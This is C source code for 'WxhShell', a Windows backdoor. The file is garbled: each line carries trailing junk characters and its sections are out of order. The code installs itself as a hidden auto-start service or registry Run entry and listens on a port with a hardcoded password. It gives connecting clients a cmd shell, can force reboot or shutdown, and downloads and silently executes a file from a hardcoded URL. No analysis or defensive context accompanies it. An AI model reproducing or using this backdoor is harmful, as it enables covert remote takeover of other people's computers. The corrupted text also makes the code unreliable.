    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &)8:h+&Z  
    else { *'OxAfa#x  
    closesocket(wsh); u\E?Y[1  
    ExitThread(0); b o0^3]Z  
    } LUG;(Fko  
    break; Gn\_+Pj$  
    } /mXBvY  
  // 获取shell 6FUw"|\u{  
  case 's': { ?5U2D%t  
    CmdShell(wsh);  +EFgE1w  
    closesocket(wsh); g'p K  
    ExitThread(0); +1Vjw'P  
    break; d_AK `wR  
  } yW+yg{Gg:  
  // 退出 `k=bL"T>\  
  case 'x': { {FO;Yg'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E'v _#FLvR  
    CloseIt(wsh); {kp-h2I,  
    break; %u`8minCt  
    } x9$` W  
  // 离开 _.>QEh5"5  
  case 'q': { 2{]`W57_=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aiQ>xen5C5  
    closesocket(wsh); YCdS!&^UN  
    WSACleanup(); !zux z  
    exit(1); G3{Q"^S"  
    break; mYxuA0/k  
        } -mC0+}h  
  } w3#Wh|LQ-  
  } kUq=5Y `D  
W!%]_I!&K  
  // 提示信息 ` BDLW%aL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cmBB[pk\  
} ^:K3vC[h;c  
  } unshH<  
FjK3 .>'  
  return; 0T@Zb={  
} [r3!\HI7x  
-d8TD*^  
// shell模块句柄 @_U;9)  
int CmdShell(SOCKET sock) ,^?^ dB  
{ #?5 (o  
STARTUPINFO si; 8 ![|F:  
ZeroMemory(&si,sizeof(si)); ,O.3&Nz,c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CJ(NgYC h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  '/`= R  
PROCESS_INFORMATION ProcessInfo; Uh.oErHQD  
char cmdline[]="cmd"; y@ ML/9X8q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ykv94i?Q  
  return 0; ;E@G`=0St  
} pR `>b 3  
6Ca(U'  
// 自身启动模式 _=+V/=  
int StartFromService(void) ,pqGX3  
{ `%CtWJ(e  
typedef struct '=[?~0(B  
{ "nZ*{uv  
  DWORD ExitStatus; -%2[2p  
  DWORD PebBaseAddress; ;ToKJ6hN|*  
  DWORD AffinityMask; HuB<k3#sPy  
  DWORD BasePriority; S7=Bd[4  
  ULONG UniqueProcessId; pV.Av  
  ULONG InheritedFromUniqueProcessId; Nqw&< x+  
}   PROCESS_BASIC_INFORMATION; 8S>&WR%jH]  
umD!2 w  
PROCNTQSIP NtQueryInformationProcess; AP[|Ta  
%R@X>2l/_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7+]=-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `^bgUmJ~  
D-8O+.@  
  HANDLE             hProcess; %TX@I$Ba  
  PROCESS_BASIC_INFORMATION pbi; GMMp|WV|  
+ hn+K1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @b"t]#V(E  
  if(NULL == hInst ) return 0; ZPiq-q  
}MRd@ 0-?!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MHSs!^/g5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tYZ[6 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }Mo=PWI1?  
@|<<H3I  
  if (!NtQueryInformationProcess) return 0; :{qv~&+C  
]GN7+ 8l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sW)Zi  
  if(!hProcess) return 0; ld3-C55  
-M%_\;"de  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T;@;R %  
,$1eFgY%  
  CloseHandle(hProcess); WtViW=j'  
RMd[Yr2e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N5*u]j  
if(hProcess==NULL) return 0; +u!0rLb  
XS`M-{f`  
HMODULE hMod; s >e=?W  
char procName[255]; fNb`X  
unsigned long cbNeeded; ,$;yY)x7U  
, FhekaA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '6Ay&A3N]  
CF+_/s#j^  
  CloseHandle(hProcess); 350_CN,  
Uu!f,L;ty  
if(strstr(procName,"services")) return 1; // 以服务启动 T6H}/#*tK  
MxSM@3v(  
  return 0; // 注册表启动 )ap_Z6  
} + ` s@  
#?q&r_@@  
// 主模块 \zieyE  
int StartWxhshell(LPSTR lpCmdLine) 8#(Q_  
{ V+Cwzc^j  
  SOCKET wsl; /DQc&.jK  
BOOL val=TRUE; L!=4N!j  
  int port=0; _7IKzUn9g[  
  struct sockaddr_in door; )N=NR2xBZ  
D<8HZ%o  
  if(wscfg.ws_autoins) Install(); '&.#  
R<sJ^nx  
port=atoi(lpCmdLine); YGv<VOWG2  
Yu?95qktP  
if(port<=0) port=wscfg.ws_port; <,3^|$c%  
xZ|Y ?R5m  
  WSADATA data; GytXFL3`:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s:p[DEj-  
/rq VB|M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S|apw7C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m>4ahue$  
  door.sin_family = AF_INET; M@4UGM`J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j'%$XvI  
  door.sin_port = htons(port); z |a sa*  
8'<-:KG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )t$,e2FY  
closesocket(wsl); w4W_iaU  
return 1; v z^<YZMu  
} q-]`CW]n  
*H?!;u=8  
  if(listen(wsl,2) == INVALID_SOCKET) { ,Y|^^?'j Q  
closesocket(wsl); bx]N>k J  
return 1; IX*idcxR  
} \2ZPj)&-E  
  Wxhshell(wsl); %CS@g.H=_  
  WSACleanup(); f 1w~!O9  
 emK$`9  
return 0; dDm):Z*`b  
)\6&12rj  
} X5X?&* %{  
OH5>vV 'i  
// 以NT服务方式启动 Lb;zBmwB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jrg2/ee,*  
{ )dY=0"4Z  
DWORD   status = 0; 3 dht!7/  
  DWORD   specificError = 0xfffffff; ,hq)1u  
AZa 6 C w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F%i^XA]a*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |tv"B@`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mN!lo;m5  
  serviceStatus.dwWin32ExitCode     = 0; =+-Yxh|*  
  serviceStatus.dwServiceSpecificExitCode = 0; jeGj<m  
  serviceStatus.dwCheckPoint       = 0; ]wKzE4Z/  
  serviceStatus.dwWaitHint       = 0; "I=\[l8t  
t5'V6nv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AtF3%Z v2  
  if (hServiceStatusHandle==0) return; pGf@z:^{*-  
{e+-vl  
status = GetLastError(); v2H#=E4cZ#  
  if (status!=NO_ERROR) zX0md x<|<  
{ uiJS8(Cb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g.'yZvaP  
    serviceStatus.dwCheckPoint       = 0; fv`O4  
    serviceStatus.dwWaitHint       = 0; x9x E&  
    serviceStatus.dwWin32ExitCode     = status; 87:!C5e}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5B&;uY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C?i >.t  
    return; _~q?_'kx  
  } v^zu:Z*  
oP!;\a( SL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -O&CI)`;B  
  serviceStatus.dwCheckPoint       = 0; 2RN)<\P  
  serviceStatus.dwWaitHint       = 0; &Y 4F!Rb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^5A t?I8  
} :WSDf VX  
DyQM>xw)t  
// 处理NT服务事件,比如:启动、停止 1Wm)rXW[x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *+uHQgn(  
{ 3&6#F"7  
switch(fdwControl) P>sFV  
{ +T=(6dr  
case SERVICE_CONTROL_STOP: &g.@u~SI1  
  serviceStatus.dwWin32ExitCode = 0; C4hx@abA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i&vaeP25)  
  serviceStatus.dwCheckPoint   = 0; v.:3"<ur}  
  serviceStatus.dwWaitHint     = 0; uu}x@T@  
  {  )$`wIp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [@Q_(LQ-U  
  } - /(s#D  
  return; /v/C<]  
case SERVICE_CONTROL_PAUSE: /[6j)HIS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jS+AGE?5e  
  break; s/7 A7![  
case SERVICE_CONTROL_CONTINUE: d3W0-INL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K]j0_~3s  
  break; txcf=)@>V  
case SERVICE_CONTROL_INTERROGATE: g8w2Vz2/  
  break; )ZBY* lk9  
}; _UT$,0u_i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2$ lJ  
} ^=:9)CNw(  
*;m5'}jsy  
// 标准应用程序主函数 yuDZ~0]R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AgRjr"hF*e  
{ +=]!P#  
ZVbl88,(l  
// 获取操作系统版本 n @?4b8"  
OsIsNt=GetOsVer(); _:X|.W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p|Q*5TO  
!<UJ6t}  
  // 从命令行安装 7C$ 5  
  if(strpbrk(lpCmdLine,"iI")) Install(); k51Eyy50(  
ZkIgL  
  // 下载执行文件 f)g7 3=  
if(wscfg.ws_downexe) { = <j"M85.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N gLU$/y;  
  WinExec(wscfg.ws_filenam,SW_HIDE); _=q! BW  
} wtT}V=_  
&z]K\-xp  
if(!OsIsNt) { etoo #h"]1  
// 如果时win9x,隐藏进程并且设置为注册表启动 kl"+YF5/  
HideProc(); "*;;H^d  
StartWxhshell(lpCmdLine); @ JvPx0  
} @h*fFiY&{  
else HLBkR>e  
  if(StartFromService()) >@ YtDl8R  
  // 以服务方式启动 WWL4`s  
  StartServiceCtrlDispatcher(DispatchTable); j S;J:$>^  
else /s-A?lw^2  
  // 普通方式启动  Y!WG)u5  
  StartWxhshell(lpCmdLine); ,R$u?c0>'&  
<H0R&l\  
return 0; `'\t$nU  
} `xz<>g9e  
hXb%;GL  
Qfky_5R\  
T ]j.=|,d  
=========================================== Y3h/~bM%  
]c&<zeX,  
4GR!y)  
!r`,=jK"  
P_c,BlfGMH  
oW^*l#v  
" gORJWQv  
.TE?KI   
#include <stdio.h> R/^u/~<  
#include <string.h> U|HB=BP  
#include <windows.h>  Y=`  
#include <winsock2.h> h?-#9<A  
#include <winsvc.h> (;%|-{7e-  
#include <urlmon.h> nuoPg3Nl  
TRZRYm"  
#pragma comment (lib, "Ws2_32.lib") f50L,4,  
#pragma comment (lib, "urlmon.lib") $!5\E>y#  
bW ZbG{Y.  
#define MAX_USER   100 // 最大客户端连接数 W5^.-B,(K  
#define BUF_SOCK   200 // sock buffer v4RlLg dS%  
#define KEY_BUFF   255 // 输入 buffer x+]!m/  
BC,.^"fA6  
#define REBOOT     0   // 重启 Iyd?|f"  
#define SHUTDOWN   1   // 关机 T~fmk f$  
%+ FG,d  
#define DEF_PORT   5000 // 监听端口 [>^PRs  
,-+"^>  
#define REG_LEN     16   // 注册表键长度 j F-v% ?  
#define SVC_LEN     80   // NT服务名长度 X[2[!)Rk  
cpt<WK}  
// 从dll定义API GabYfUkO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); En&5)c+js4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k'$!(*]\b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bln/1iS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q~L^au8  
w_ {,<[#  
// wxhshell配置信息 p'sc0@}_O  
struct WSCFG { @$"L:1_  
  int ws_port;         // 监听端口 )HD`O~M>  
  char ws_passstr[REG_LEN]; // 口令 `:O\dN>ON  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;f,c't@w  
  char ws_regname[REG_LEN]; // 注册表键名 JbO ~n )%x  
  char ws_svcname[REG_LEN]; // 服务名 ]#/4Y_d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }tPk@$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m^_6:Q0F!8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &TG5rUUg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9s}Kl($  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SEl#FWR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u*7Z~R  
kkvtB<<Y  
}; \([WH!7  
Z+pom7A"E  
// default Wxhshell configuration p"*y58  
struct WSCFG wscfg={DEF_PORT, o$C| J]%  
    "xuhuanlingzhe", ?R-9W+U%f  
    1, qzFQEepso  
    "Wxhshell", #k<":O  
    "Wxhshell", _MWM;f`b  
            "WxhShell Service", j#0j)k2Q  
    "Wrsky Windows CmdShell Service", O:#+%  
    "Please Input Your Password: ", M=xQ=j?  
  1, +%N KQ'49I  
  "http://www.wrsky.com/wxhshell.exe", =e><z9hY  
  "Wxhshell.exe" AM} brO  
    }; (-NHx o  
)' xETA  
// 消息定义模块 ;eigOU]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eQO#Qso]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s7r9,8$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;nmM7TZ;  
char *msg_ws_ext="\n\rExit."; l{ex?  
char *msg_ws_end="\n\rQuit."; XT,#g-oi  
char *msg_ws_boot="\n\rReboot..."; w(1Gi$Z(Q)  
char *msg_ws_poff="\n\rShutdown..."; M}DH5H"s  
char *msg_ws_down="\n\rSave to "; @c'|Iqy`  
0aR,H[r[?  
char *msg_ws_err="\n\rErr!"; JK#vkCkyM  
char *msg_ws_ok="\n\rOK!"; Ufo>|A6;$  
5FC4@Ms`  
char ExeFile[MAX_PATH]; qQ7w&9r.M  
int nUser = 0; 1\dn 1Hh  
HANDLE handles[MAX_USER]; 4gdY`}8b^}  
int OsIsNt; /w]&t\]*  
bg?"ILpk  
SERVICE_STATUS       serviceStatus; I\\QS.2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FVF-:C  
8*g ^o\M  
// 函数声明 v&g0ta@  
int Install(void); -~)OF  
int Uninstall(void); +Ra3bjl  
int DownloadFile(char *sURL, SOCKET wsh); rZbEvS  
int Boot(int flag); %Y4e9T".  
void HideProc(void); ">dq0gD  
int GetOsVer(void); U},=LsDsW4  
int Wxhshell(SOCKET wsl); !C:rb   
void TalkWithClient(void *cs); Q\{x)|{$  
int CmdShell(SOCKET sock); &"uV~AM  
int StartFromService(void); w W$(r-  
int StartWxhshell(LPSTR lpCmdLine); ovf/;Q/}  
;]CVb`d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GR'Ti*Qi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r)1Z(tl  
1xnLB>jP#  
// 数据结构和表定义 +TN9ujL6@  
SERVICE_TABLE_ENTRY DispatchTable[] = 0"xPX#Cvj  
{ (#(O r  
{wscfg.ws_svcname, NTServiceMain}, lS{r=y_0.  
{NULL, NULL} kvsA]tK.  
}; # Oup^ o@  
AyE\fY5  
// 自我安装 &h$|j  
int Install(void) XeUC0K[D  
{ daZQz"PP  
  char svExeFile[MAX_PATH]; )_jSG5k  
  HKEY key; =Pe><k  
  strcpy(svExeFile,ExeFile); ED![^=  
,:v&4x&=  
// 如果是win9x系统,修改注册表设为自启动 OQlG+|  
if(!OsIsNt) { KA]*ox6j;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yno('1B@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =G-N` 39  
  RegCloseKey(key); T bE:||r?^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (7$$;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O>DNC-m)i{  
  RegCloseKey(key); =~FG&rk^  
  return 0; (N~$x  
    } ^E>CGGS4  
  } ['X[qn  
} j kn^Z":  
else { V*jsq[q=  
va{#RnU  
// 如果是NT以上系统,安装为系统服务 o96:4j4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lue|Plm[y  
if (schSCManager!=0) ~o15#Pfn/  
{ T|'&K:[TJ  
  SC_HANDLE schService = CreateService l\q} |o  
  ( )c tr"&-  
  schSCManager, >w'$1tc?+F  
  wscfg.ws_svcname, Ya4?{2h@+  
  wscfg.ws_svcdisp, M^SuV  
  SERVICE_ALL_ACCESS, 2M6dMvS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sy<iKCM\  
  SERVICE_AUTO_START, )3E,D~1e%  
  SERVICE_ERROR_NORMAL, cwtD@KC[B  
  svExeFile, g@nk.aRw  
  NULL, 3 (lVmfk  
  NULL, W"(u^}  
  NULL, y8s=\`~PR  
  NULL, V 7<eQ0;m  
  NULL Px4/O~bLk  
  ); /8CY0Ey  
  if (schService!=0) !s IwFv )  
  { ]rX9MA6  
  CloseServiceHandle(schService); yqcM(,0]  
  CloseServiceHandle(schSCManager); tEhr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OeTu?d&N  
  strcat(svExeFile,wscfg.ws_svcname); ( )|3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !L\'Mk/=A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r+g jc?Ol  
  RegCloseKey(key); VWvoQf^+  
  return 0; SPwPCI1?  
    } O*7i } \{  
  } 9D4-^M:a  
  CloseServiceHandle(schSCManager); != zx  
} 5:gj&jt;)7  
} QUP|FIpZ  
( tn< VK.  
return 1; h`?k.{})M  
} !$kR ;Q"/  
jXcNAl  
// 自我卸载 B?(4f2yE  
int Uninstall(void) , {<Fz%  
{ ToU.mM?f^  
  HKEY key; #8?^C]*{0  
!t-K<'  
if(!OsIsNt) { vl5){@   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sd!sus|( R  
  RegDeleteValue(key,wscfg.ws_regname); "3y}F  
  RegCloseKey(key); k,_i#9 X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YN#XmX%  
  RegDeleteValue(key,wscfg.ws_regname); :WX0,-Gn  
  RegCloseKey(key); !C`20,U  
  return 0; +i)AS0?d  
  } nPf'ee  
} (+MC<J/i  
} FzhT$7Gw  
else { A'g,:8Ou  
W8* 2;F]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P6HGs? *  
if (schSCManager!=0) "L_-}BK  
{ wgZrrq/W|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /.ZaE+  
  if (schService!=0) 'G Y/Q5  
  { 8A/>JD3^  
  if(DeleteService(schService)!=0) { ;Q90Y&{L=$  
  CloseServiceHandle(schService); TcZN %  
  CloseServiceHandle(schSCManager); H-a^BZ&iU  
  return 0; -A;w$j6*  
  } "^"'uO$  
  CloseServiceHandle(schService); @XBH.A^7r  
  }  q)oN 2-  
  CloseServiceHandle(schSCManager); E\! n49  
} !3x *k;0  
} +S0u=u65  
,>w}xWSYpG  
return 1; pzSqbgfrQ  
} + (=I8s/  
"WP% REE!  
// 从指定url下载文件 \\s?B K  
int DownloadFile(char *sURL, SOCKET wsh) vzy!3Hiw  
{ R-C5*$  
  HRESULT hr; ,RN|d0dE  
char seps[]= "/"; ^H'kHl'F  
char *token; Mi D  
char *file; u*k*yWdr  
char myURL[MAX_PATH]; =LqL@5Xr  
char myFILE[MAX_PATH]; J";=d4Sd  
_#(s2.h~J  
strcpy(myURL,sURL); Y eO-gY [b  
  token=strtok(myURL,seps); j@SYXKL~  
  while(token!=NULL) 4tnjXP8  
  { ;_p fwa4  
    file=token; bqNLkw#  
  token=strtok(NULL,seps); %O_t`wz  
  } &%:*\_2s  
_/ Tlqzp  
GetCurrentDirectory(MAX_PATH,myFILE); 5% 'S  
strcat(myFILE, "\\"); V^vLN[8_\  
strcat(myFILE, file); g z`*|h  
  send(wsh,myFILE,strlen(myFILE),0); z+Z%H#9e  
send(wsh,"...",3,0); pj@Yqg/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w5 Z2N[hy  
  if(hr==S_OK) 9b%|^ .B  
return 0; [yvt1:q  
else LV\ieM  
return 1; Un\Ubqi0  
\gP. \  
} /pU|ZA.z'2  
i\vpGlx  
// 系统电源模块 Z?C4a }  
int Boot(int flag) DA=qeVBg  
{ &58 {  
  HANDLE hToken; V0S6M^\DK  
  TOKEN_PRIVILEGES tkp; Z !Z,M' "  
%A=|'6)k2  
  if(OsIsNt) { QSv^l-<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lT3|D?sF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Abz 5-^KH  
    tkp.PrivilegeCount = 1; l\Cu1r-z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *bU% @O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ik1XGFy?  
if(flag==REBOOT) { ?4MSgu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HoV{Uzm  
  return 0; ysl8LK   
} i.F8  
else { gu!](yEgl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [JZ  h*A  
  return 0; Eh {up  
} *F|i&2  
  } +#9xA6,AE  
  else { {sl~2#,}b1  
if(flag==REBOOT) { l_ZO^E~D_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >^ ;(c4C  
  return 0; /!-J53K  
} ,Q+\h>I  
else { _~:j3=1&n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /[6:LnaE  
  return 0; *b:u * `@  
} e$H|MdYIA  
} q _19&;&  
Yu1QcFuy  
return 1; @OY1`Eu O  
} V*>73I  
{dZ!I  
// win9x进程隐藏模块 $\0TD7p  
void HideProc(void) OCwW@OC +  
{ qT"drgpi3  
R/ Tj^lM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cB_pyX9Z  
  if ( hKernel != NULL ) r)c+".0d^  
  { x<Iy<v7-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uvR0TIF4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gj[z ka0_  
    FreeLibrary(hKernel); U{HyxZ|q<  
  } WI0QLR'  
*&h6*zP?  
return; nrI"k2oA@  
} +< GrRYbC  
avmcGyL  
// 获取操作系统版本 ]&' jP  
int GetOsVer(void) ZMP?'0h=  
{ mn(/E/  
  OSVERSIONINFO winfo; FLK"|*A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?ISI[hoc  
  GetVersionEx(&winfo); "k/;`eAP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =!(S<];  
  return 1; "IOC[#&G  
  else )nJzSN=>$  
  return 0; sN"p5p  
} $  9S>I'  
}!eF  
// 客户端句柄模块 \moZ6J  
int Wxhshell(SOCKET wsl) !p-'t]  
{ ~wa%fM  
  SOCKET wsh; p .lu4  
  struct sockaddr_in client; qK{| Q  
  DWORD myID; ?OdV1xB  
b=V)?"e-  
  while(nUser<MAX_USER) CM`x>J  
{ RA#\x.  
  int nSize=sizeof(client); {bW"~_6}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L-`(!j  
  if(wsh==INVALID_SOCKET) return 1; Q -M rH   
7ytm .lU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .L~fFns/  
if(handles[nUser]==0) n'! -Pv  
  closesocket(wsh); O)Xd3w'  
else k,a,h^{}j  
  nUser++; Lr K9F^c  
  } "1_{c *ck  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yW%&_s0  
BT&rp%NO6l  
  return 0; czXI?]gg,  
} <+ -V5O^  
7^n,Ti g  
// 关闭 socket jB*9 !xrd,  
void CloseIt(SOCKET wsh) 5}<.1ab3V  
{ z\X60T  
closesocket(wsh); H?rSP0.  
nUser--; 7yo|ie@S  
ExitThread(0); 1-4   
} Q,OkO?uY  
]R97n|s_  
// 客户端请求句柄 =~,$V<+c  
void TalkWithClient(void *cs) %{N>c:2I$  
{ Rh!L'? C  
emGV]A%nss  
  SOCKET wsh=(SOCKET)cs; xmCm3ekmpC  
  char pwd[SVC_LEN]; $ iX^p4v  
  char cmd[KEY_BUFF]; oc!biE`u  
char chr[1]; #N<s^KYG-  
int i,j; zyIza@V(  
;m-6.AV  
  while (nUser < MAX_USER) { Ej;Vr~Wi  
##SLwrg  
if(wscfg.ws_passstr) { *5ka.=Qs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @C!JtgO%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }`+O$0A  
  //ZeroMemory(pwd,KEY_BUFF); dL1~]Z y  
      i=0; [d!Af4  
  while(i<SVC_LEN) { >VpP/Qf  
^G ]KE8  
  // 设置超时 M>`?m L  
  fd_set FdRead; Hj}g1"RA  
  struct timeval TimeOut; MsN2A6|33  
  FD_ZERO(&FdRead); Z\ "Kd  
  FD_SET(wsh,&FdRead); 3MS3O.0]/  
  TimeOut.tv_sec=8; j<. <S {  
  TimeOut.tv_usec=0; 7AZ5%o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Y0/i,d*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &xPOp$Sx~  
`XQx$I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O[i2A (  
  pwd=chr[0]; Y?"v2~;3  
  if(chr[0]==0xd || chr[0]==0xa) { fY| @{]rx  
  pwd=0; KUl Zk^a  
  break; , V0iMq  
  } K8yWg\K  
  i++; GV `idFd  
    } umq$4}T '$  
z{ Zimr  
  // 如果是非法用户,关闭 socket Qs#9X=6e@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $i1>?pb3  
} Hl4vLx@  
&F@tmM~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -jcrXskb&N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b;&Yw-\nZ;  
`Gy>tD.#V-  
while(1) { Z_eqM4{  
LbtlcpF*~5  
  ZeroMemory(cmd,KEY_BUFF); 1Ud t9$~T  
YyX^lL_  
      // 自动支持客户端 telnet标准   f_z2#,g  
  j=0; >X@.f1/5X  
  while(j<KEY_BUFF) { zWKrt.Dg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fzPgX  
  cmd[j]=chr[0]; W#oEF/G  
  if(chr[0]==0xa || chr[0]==0xd) { QrrZF.  
  cmd[j]=0; OI;L9\MJc  
  break; g%<{G/Tz  
  } <uWJ>sg^ 6  
  j++; Gc3PN  
    } P~b%;*m}8  
DI2S %N l  
  // 下载文件 A ydy=sj  
  if(strstr(cmd,"http://")) { uMq\];7I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6 ^6uK  
  if(DownloadFile(cmd,wsh)) cSHtl<UY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<|q{D$N/  
  else l1`c?Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JY;#]'T\;  
  } XH_qA[=c]  
  else { Q>+_W2~]  
hH|XtQ.n^  
